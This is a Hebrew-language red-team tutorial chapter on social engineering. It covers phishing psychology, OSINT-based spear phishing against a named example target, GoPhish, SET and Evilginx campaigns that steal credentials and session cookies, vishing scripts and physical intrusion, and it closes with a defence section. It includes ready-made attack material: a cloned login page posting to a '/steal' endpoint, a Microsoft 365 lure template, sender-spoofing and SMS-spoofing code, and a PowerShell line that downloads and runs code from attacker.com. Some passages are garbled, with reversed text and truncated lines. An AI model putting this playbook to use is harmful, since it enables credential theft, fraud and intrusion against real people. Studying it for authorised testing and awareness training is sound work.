

פרק 7 · RED TEAM GUIDES

הנדסה חברתית (Social Engineering)

מדריך מלא למתחילים — בעברית

Red Team Guides Series · 2026

פרק 7 — הנדסה חברתית (Social Engineering)

מבוא — כשהאדם הוא החולשה

יש אמרה ידועה בעולם אבטחת המידע: "אפשר לבנות את הטכנולוגיה הכי מאובטחת בעולם, ועדיין מישהו יפתח את הדלת לעוקב."

Social Engineering (הנדסה חברתית) היא אמנות מניפולציה על אנשים כדי לגרום להם לעשות מה שאנחנו רוצים — לשתף סיסמה, לפתוח קובץ, לאפשר גישה פיזית. לרוב, קל הרבה יותר לפרוץ לאדם מאשר למחשב.

למה זה עובד?

אנשים:

- רוצים לעזור (האינסטינקט החברתי)
- נרתעים מעימות
- מקשיבים לסמכות
- פועלים תחת לחץ זמן
- בוטחים ב"insider" (מישהו שנראה כאחד מהצוות)
- לא רוצים לנבוכ את עצמם בחשד שגוי

חלק 1: עקרונות הפסיכולוגיה — למה אנשים נופלים

רוברט צ'יאלדיני (Robert Cialdini) זיהה 6 עקרונות השפעה שבסיס כל SE:

1. הדדיות (Reciprocity)

אנשים מרגישים מחויבים לתת בחזרה כשקיבלו משהו. SE: "שלחתי לך קישור לכלי שימושי. תוכל לשתף איתי את ה-VPN credentials?"

2. מחויבות ועקביות (Commitment & Consistency)

כשאדם אמר "כן" לדבר קטן, קשה לו לסרב לדבר גדול יותר. SE: "הבנתי שאתה בצוות ה-IT... אז בוודאי יש לך גישה ל-admin panel?"

3. הוכחה חברתית (Social Proof)

אנשים עושים מה שאחרים עושים. SE: "כל שאר הצוות כבר עדכן את הסיסמה דרך הקישור הזה."

4. סמכות (Authority)

אנשים מציתים לסמכות. SE: "אני מדבר עם ה-CISO. הוא ביקש שתשלח לו את הpassword כדי לבצע ביקורת."

5. אהדה (Liking)

אנשים נוטים להסכים לאנשים שהם אוהבים. SE: מציאת נושאים משותפים, שמות של חברים משותפים, מחמאות.

6. מחסור (Scarcity)

אנשים רוצים יותר מה שנדיר. SE: "יש לך עוד 10 דקות להחליף סיסמה לפני שהחשבון יינעל."

חלק 2: Phishing — דיוג

Phishing (דיוג) הוא שליחת מיילים/הודעות מזויפות שנראות לגיטימיות, במטרה לגנוב credentials, להתקין malware, או לאסוף מידע.

סוגי Phishing

Mass Phishing:

מיילים גנריים שנשלחים לאלפים — "לחשבון הבנק שלך יש בעיה, לחץ כאן."

Spear Phishing:

מיל מותאם אישית ליעד ספציפי — ניצול מידע אמיתי לגיטימציה. הכי מסוכן.

Whaling:

Spear Phishing נגד בכירים (C-Suite) — CEO, CFO, CISO.

Vishing:

Voice phishing — שיחת טלפון.

Smishing:

SMS phishing.

אנטומיה של Phishing מוצלח

שלב 1: מחקר על היעד (OSINT)

- שם מלא, תפקיד, מחלקה (LinkedIn)
- שם המנהל הישיר
- פרויקטים שעובד עליהם
- כלים שבשימוש בארגון
- אירועים אחרונים בחברה (ידיעות, הודעות)

שלב 2: בחירת pretext (תירוץ)

- "עדכון חשוב, יש לאמת גישה": IT
- "בקשה דחופה לחתימה על מסמך": HR
- "העברה בנקאית דחופה": CEO (BEC)
- ספק: "חשבונית עם שינוי בנק"
- LinkedIn: "מסמך" + "בקשת חיבור"

שלב 3: יצירת תשתית

```
# רישום דומיין דומה:
example.com: חברה #

# מזויף: example.com, example-support.com, it-example.com
# Typosquatting: exmaple.com

# הגדרת MX records
# הגדרת SPF/DKIM (כדי לעבור spam filters)
```

שלב 4: יצירת דף Phishing

```
# Copy של אתר לגיטימי
wget -mkEpn https://accounts.google.com/signin

# עריכת הaction form לשלוח credentials אלינו
# <form action="https://our-server.com/steal">
```

שלב 5: שליחה

Spear Phishing — דוגמה מפורטת

מידע שאספנו על היעד:

שם: דניאל לוי
תפקיד: מנהל פרויקטים, חברת TechCorp
מנהל ישיר: שרה כהן (VP Engineering)
פרויקט נוכחי: "ProjectX" (מ-LinkedIn post)
מייל: d.levy@techcorp.com
כלים: Jira, Confluence, Slack (מ-LinkedIn)

מייל Phishing:

From: sarah.cohen@techcorp-it.com (!דומיין מזויף)
To: d.levy@techcorp.com
Subject: ProjectX - גישה לסביבת הפיתוח החדשה

דניאל שלום,

כחלק מההשקה של ProjectX, ה-IT מעדכן את הגישות לסביבת הפיתוח.
אנא לחץ על הקישור הבא ואמת את גישתך תוך 24 שעות:

דומיין מזויף ← <https://techcorp-it.com/update-access>

פרטי ה-Jira וה-Confluence שלך ידרשו אימות מחדש.

תודה,
שרה כהן
VP Engineering
TechCorp
054-1234567

מה שיקרה:

1. דניאל לוחץ על הקישור
2. רואה דף login שנראה כמו Jira/Confluence אמיתי
3. מזין credentials

4. אנחנו מקבלים user+password

GoPhish — כלי לניהול Phishing Campaigns

GoPhish הוא כלי open-source לניהול מסעות phishing. מאפשר:

- יצירת templates של מיילים
- יצירת landing pages
- שליחה לרשימות
- tracking: מי פתח, מי לחץ, מי הכניס credentials

הורדה

```
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-6
```

```
unzip gophish-v0.12.1-linux-64bit.zip
```

```
chmod +x gophish
```

```
./gophish
```

```
admin: https://localhost:3333 ממשק #
```

```
# user/pass: admin/gophish (בפעם הראשונה)
```

יצירת Campaign ב-GoPhish:

1. **Sending Profile** — הגדרת ה-SMTP server לשליחה
2. **Email Template** — תבנית המייל (עם tracking pixel)
3. **Landing Page** — דף ה-phishing (אם יש)
4. **Users & Groups** — רשימת יעדים
5. **Campaign** — חיבור של הכל ושליחה

Tracking ש-GoPhish מספק:

- מי קיבל את המייל
- מי פתח (tracking pixel)
- מי לחץ על קישור
- מי הכניס credentials
- User-Agent של מכשיר (טלפון/מחשב, OS, דפדפן)

חלק 3: SET — Social Engineering Toolkit

SET הוא כלי מקיף ל-SE ב-Kali.

```
# הפעלה
sudo setoolkit

# תפריט:
# 1) Social-Engineering Attacks
# 2) Penetration Testing (Fast-Track)
# ...
```

Website Cloner

```
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
# 2) Site Cloner

# URL לclone: https://accounts.google.com
# IP של attacker (לוחש) credentials)

# SET יפתח HTTP listener
# פתיחת: /http://attacker_ip → מציג clone של Google login
```

Spear Phishing Module

```
# 1) Social-Engineering Attacks
# 1) Spear-Phishing Attack Vectors
# 1) Perform a Mass Email Attack
```

```
# HTA (HTML Application) = trusted Windows קובץ  
# 1) Social-Engineering Attacks  
# 2) Website Attack Vectors  
# 5) Multi-Attack Web Method  
# 1) Web Jacking Attack Method
```

חלק 4: Vishing — פשינג טלפוני

Vishing הוא שיחות טלפון מזויפות.

תסריטים נפוצים

IT Support:

"שלום, כאן מ-IT Support של TechCorp.
קיבלנו התראה שהחשבון שלך ניסה לגשת ממיקום לא רגיל.
לפני שננעל את החשבון, אנחנו צריכים לאמת את זהותך.
תוכל לתת לי את הסיסמה הנוכחית שלך כדי שנוכל לאפס?"

CEO Fraud:

"שלום, זאת מזכירתו של המנכ"ל. הוא נמצא בפגישה דחופה
ובקש שתבצע העברה בנקאית של 50,000 ₪ לספק החדש.
זה דחוף מאוד. יש לך פרטי ה-wire?"

מה שגורם לvishing לעבוד

- Caller ID Spoofing – זיוף מספר המתקשר
- לחץ זמן
- סמכות (לדוגמה: IT, CEO)
- ידע על פרטים פנימיים (שאספנו בOSINT)
- "...אם לא תעשה זה עכשיו" – Urgency


```
# Twilio – שירות VoIP עם API
# SpoofCard – caller ID יוֹפְזאפְלִיקצִיָה ל
# SipVicious – VoIP כלי
```

חלק 5: Pretexting — בניית זהות מזויפת

Pretexting הוא יצירת תרחיש (pretext) שמצדיק בקשות לא רגילות.

בניית Pretext

מי אנחנו "נהיה":

- עובד IT חדש (מצדיק שאלות "תמימות")
- מבקר חיצוני / ביקורת
- ספק / קבלן
- עיתונאי / חוקר
- לקוח מתוסכל

מה ה-pretext נותן:

- סיבה לגיטימית להיות שם
- הצדקה לשאלת שאלות
- לקבל גישה reason -

דוגמה — IT Audit:

תרחיש: "אנחנו חברת ביקורת IT חיצונית. HR תיאמה איתנו ביקור."

מה מצדיק:

- להסתובב במשרדים
- לשאול שאלות על מערכות
- לבקש להתחבר ל-WiFi
- לבקש מכשיר לבדיקה

LinkedIn: "שמות עובדים אמיתיים" → "שוחחתי עם שרה כהן"

Website: "מגיע מטעם HP" → "שמות ספקים"

News: "...אירועים אחרונים" → "בעקבות האירוע בחדשות"

Job postings: "DevOps מה מחפשים" → "ראיתי שאתם מחפשים"

חלק 6: Phishing Emails — Technical Deep Dive

Spoofing-ו Email Headers

כשאנחנו שולחים מייל, ה-headers מכילים מידע על השולח. אפשר לזייף את ה-From header.

```
# שליחת מייל מזויף מהcommand line
sendmail recipient@example.com << EOF
From: ceo@techcorp.com
To: accountant@techcorp.com
Subject: Urgent Wire Transfer
Content-Type: text/html

<p>Please process the wire transfer immediately.</p>
EOF
```

Anti-Spoofing-ה — SPF, DKIM, DMARC

:SPF (Sender Policy Framework)

DNS record שמגדיר אילו IPs מורשים לשלוח מייל בשם הדומיין.

```
techcorp.com TXT "v=spf1 ip4:1.2.3.4 include:sendgrid.net ~all"
```

:DKIM (DomainKeys Identified Mail)

חתימה דיגיטלית על המייל שמאמתת שהוא נשלח על ידי הדומיין האמיתי.

:DMARC

מדיניות מה לעשות אם SPF/DKIM נכשלים (reject, quarantine, none).

כיצד לעקוף (בתוך scope):

```
# לרשום דומיין דומה שאין לו SPF/DKIM חזק
# example.com → SPF: none → מיילים עוברים

# שימוש ב-lookalike domains
# techcorp-support.com
# it-techcorp.com
```

בניית Phishing Email משכנע

הכלים:

- HTML email = מייל מעוצב לחלוטין
- לוגואים אמיתיים (copy מ-website)
- אותו סגנון כמו מיילים לגיטימיים

```
<!-- Microsoft 365 של phishing תבנית --!>
<!DOCTYPE html>
<html>
<body style="font-family: Segoe UI, sans-serif; background: #f3f3f3">
<div style="background: white; max-width: 600px; margin: 20px auto; padding: 40px">
  
  <h2>Your Microsoft 365 account requires attention</h2>
  <p>We detected unusual sign-in activity. Please verify your account:</p>
  <a href="https://microsoft-login.com"
    style="background: #0078d4; color: white; padding: 10px 20px; text-decoration: none"
    Verify Account
  </a>
  <p style="font-size: 12px; color: gray">Microsoft Corporation</p>
</div>
</body>
</html>
```

Word Macro (.docm):

- "Enable Macros" → runs VBA code → reverse shell

PDF exploit:

- Adobe Reader vulns (ישנים)
- PDF with JS

LNK file:

- Windows shortcut עם פקודה מוסתרת
- powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/sh

ISO/IMG file:

Mark-of-the-Web עוקף -

DLL + LNK מכיל -

חלק 7: מתקפות מיוחדות

BEC — Business Email Compromise

BEC הוא phishing שמכוון לגנוב כסף. לרוב מכוון לחשבונאות/כספים.

תרחישים נפוצים:

1. CEO Fraud: משהו שמתחזה למנכ"ל מבקש העברה דחופה
2. Vendor Fraud: ספק ששינה פרטי חשבון בנק
3. Payroll Fraud: עובד שביקש לשנות חשבון לתשלום משכורת
4. Attorney Impersonation: "escrow" עורך דין שמבקש העברה ל

הנוק: BEC גרם ל-43 מיליארד דולר נזק בין 2016-2021 (FBI).

Watering Hole Attack

במקום לתקוף את היעד ישירות, תוקפים אתר שהיעד מבקר בו — ומחכים.

1. מזהים אתרים שהיעד מבקר (פורומים תעשייתיים, ספקים)
2. פורצים/פרסמים JavaScript זדוני באתר
3. כשהיעד מבקר → נדבק

USB Drops

זריקת USB drives עם malware "במקרה" ליד משרדי המטרה.

- "של" "סיכומי משכורות icon עם USB Drive
- חיבור USB → מריץ autorun.inf
- עדיין עובד LNK חסום, אבל autorun.inf: Windows 10
- שמתחזה למקלדת ומקליד פקודות USB: BadUSB

Quid Pro Quo

"נתתי לך משהו, עכשיו אתה נותן לי":

"אני מה-IT, שמעתי שיש לך בעיה עם המחשב.
אתן לך את הפתרון בחינם – אני רק צריך גישה מרחוק לרגע."

חלק 8: Physical Social Engineering

Tailgating / Piggybacking

כניסה לבניין מוגן בעקבות עובד לגיטימי.

- תרחיש:
- להופיע בפתח עם ידיים עמוסות (קופסאות)
 - "תוכל לפתוח לי? הידיים שלי תפוסות"
 - כמעט כל אחד יפתח → כי זה "לא נעים לא לפתוח"

Countermeasures:

- "Man trap" — חדר אקלים בין שתי דלתות
- Turnstiles
- חינוך עובדים לספור אנשים

Impersonation

התחזות לאנשים:

- אורח מוזמן
- עובד חדש
- קבלן (חשמלאי, תקשורת)
- משליח
- מבקר בריאות ובטיחות

Prop עוזרים:

- ווסט עם לוגו
- תג מזויף
- clipboard ועט
- laptop וסרט מדידה
- uniform

Lock Picking

LockPickingLawyer ב-YouTube – לימוד מדיקים קלים
Sparrows, Peterson – ערכות pick
Bump key – מפתח שפותח מנעולים בניחוש

Bypass tools:
Under-door tool – פתיחת דלתות מבפנים
Loid (shimming) – לדלתות עם מנעול לצה

```
# 1. שרת:
# VPS עם Kali/Ubuntu
# IP: 1.2.3.4
# Domain: techcorp-support.com

# 2. הגדרת DNS:
# A record: @ → 1.2.3.4
# MX record: @ → mail.techcorp-support.com

# 3. הגדרת SMTP:
# Postfix על ה VPS
# sudo apt install postfix

# 4. GoPhish:
./gophish

# 5. GoPhish Admin-ב:
# Sending Profile:
#   SMTP: localhost:25
#   From: it-support@techcorp-support.com

# Email Template:
#   Subject: TechCorp IT Update – פעולה נדרשת
#   Body: HTML phishing

# Landing Page:
#   Import site: https://accounts.company.com
#   Capture submitted data: ✓
#   Redirect to: https://accounts.company.com (submission אחר)

# Users & Groups:
#   Import CSV: name,email
#   דניאל לוי, d.levy@techcorp.com
```

Campaign:

Launch date: עכשיו

ניתוח תוצאות GoPhish

מציג Dashboard:

- Email Sent: 50
- Email Opened: 23 (46%)
- Link Clicked: 12 (24%)
- Credentials Submitted: 5 (10%)

דוח:

- אילו מחלקות הכי פגיעות?

- מי לחץ הכי מהר?

- מה ה-User-Agent? (מחשב עבודה? טלפון אישי?)

חלק 10: Phishing עם Evilginx ומחלף MFA

Evilginx הוא Reverse Proxy שיושב בין הקורבן לשרת האמיתי — ויורט cookies, כולל session cookies לאחר MFA.

התקנה

```
go install github.com/kgretzky/evilginx2@latest
```

הגדרה

```
evilginx2
```

טעינת (template לאתר ספציפי)

```
phishlets hostname microsoft365 techcorp-support.com
```

```
phishlets enable microsoft365
```

יצירת lure (URL ל phishing)

```
lures create microsoft365
```

```
lures get-url 0
```

→ מקבלים URL כמו: `https://login.techcorp-support.com/xxxx`

→ מי שמתחבר דרכו – `credentials + session cookies` שלנו

→ גם אם יש `cookie` – MFA כבר `!authenticated`

חלק 11: Mobile Phishing

Smishing (SMS Phishing)

"[BANK]: חשבונך ננעל. לפתיחה מחדש: bit.ly/bank-unlock"

"[DHL]: חבילתך ממתינה לאישור: bit.ly/dhl-confirm"

שליחת SMS מזויפים:

```
# Twilio API
from twilio.rest import Client
client = Client('ACCOUNT_SID', 'AUTH_TOKEN')
client.messages.create(
    body="[BANK]: חשבונך ננעל...",
    from_='+1-800-MYBANK', # Caller ID
    to='+972501234567'
)
```

QR Code Phishing (Quishing)

QR code למפנה phishing page:

- בדוא"ל: "סרוק לאישור"
- בדלת משרד: "WiFi Password"
- בחניון: "שלם כאן"

יצירת QR:

```
qrencode -o phishing_qr.png "https://attacker.com/phish"
```

חלק 12: הגנה מ-Social Engineering

Technical Controls

:SPF/DKIM/DMARC

```
# בדיקת domain
dig example.com TXT # SPF
dig _dmarc.example.com TXT # DMARC
```

:Email Filtering

- Anti-phishing engines (Microsoft Defender, Proofpoint, Mimecast)
- URL reputation checking
- Attachment sandboxing

:MFA

- Even if credentials stolen → can't login without MFA
- אבל: Evilginx עוקף MFA רגיל!
- Phishing-Resistant MFA: FIDO2/WebAuthn (hardware keys) — לא ניתן לא Evilginx!

Human Controls

:Security Awareness Training

- הדרכות קבועות
- Simulated phishing campaigns (GoPhish)
- "Test and train" — מי שנפל → הדרכה מיידית

:Clear Procedures

- לעולם לא לשלוח credentials במייל/טלפון
- לאמת זהות IT דרך ה-ticketing system
- בקשה לmoney transfer → אישור טלפוני ישיר
- לדווח על כל מייל חשוד

מה לא לעשות:

- לדווח שנפלתם בtest → מוביל לחשש מדווח על אמיתיים
- להעניש על חשד שגוי → מוביל לשתיקה

Reporting Culture

מטרת phishing simulation היא ללמד, לא להעניש:

מי שדיווח על phishing (גם test) → תגמול
מי שנפל → הדרכה, לא נזיפה

חלק 13: FinishLine — גיבוש Skill

Phishing Campaign Checklist

:Pre-Campaign

- OSINT על יעדים []
- lookalike domain רישום []
- הגדרת SPF/DKIM על domain מזויף []
- landing page של Clone []
- בניית email template []
- טסטינג של template (לא להגיע לspam) []

:Campaign

- שליחה בזמן עבודה (09:00-11:00 הכי אפקטיבי) []
- Tracking פעיל []
- מוכן לquestions מ IT אם יתפסו []

:Post-Campaign

- דוח: אחוז שנפלו, מחלקות, שעות []
- Awareness training לנפגעים []
- המלצות []

שאלות שצריך לשאול לפני כל מתקפת SE

1. יש לי אישור בכתב לבצע את המתקפה הזו?
2. מה ה-scope? (מי מורשה לתקוף)
3. מה ה-rules of engagement? (מה מותר/אסור)
4. יש emergency contact אם משהו יוצא מידי?
5. כיצד לסיים אם נתפסים?

סיכום

Social Engineering הוא הכלי הכי אפקטיבי ב rid teaming — כי הוא עוקף את כל הטכנולוגיה. למדנו:

1. עקרונות פסיכולוגיים — למה אנשים נופלים (Cialdini)
2. Phishing — מיילים מזויפים, spear phishing, whaling
3. GoPhish — ניהול campaigns
4. SET — כלי SE מלא
5. Vishing — phishing טלפוני

6. **Pretexting** — בניית זהות

7. **Physical SE** — tailgating, impersonation

8. **Evilginx** — עקיפת MFA

9. **Smishing / Quishing** — SMS ו-QR

10. **הגנה** — SPF/DKIM/DMARC, MFA, awareness training

הפרק הבא עוסק ב-**Active Directory** — הלב של רשתות ארגוניות.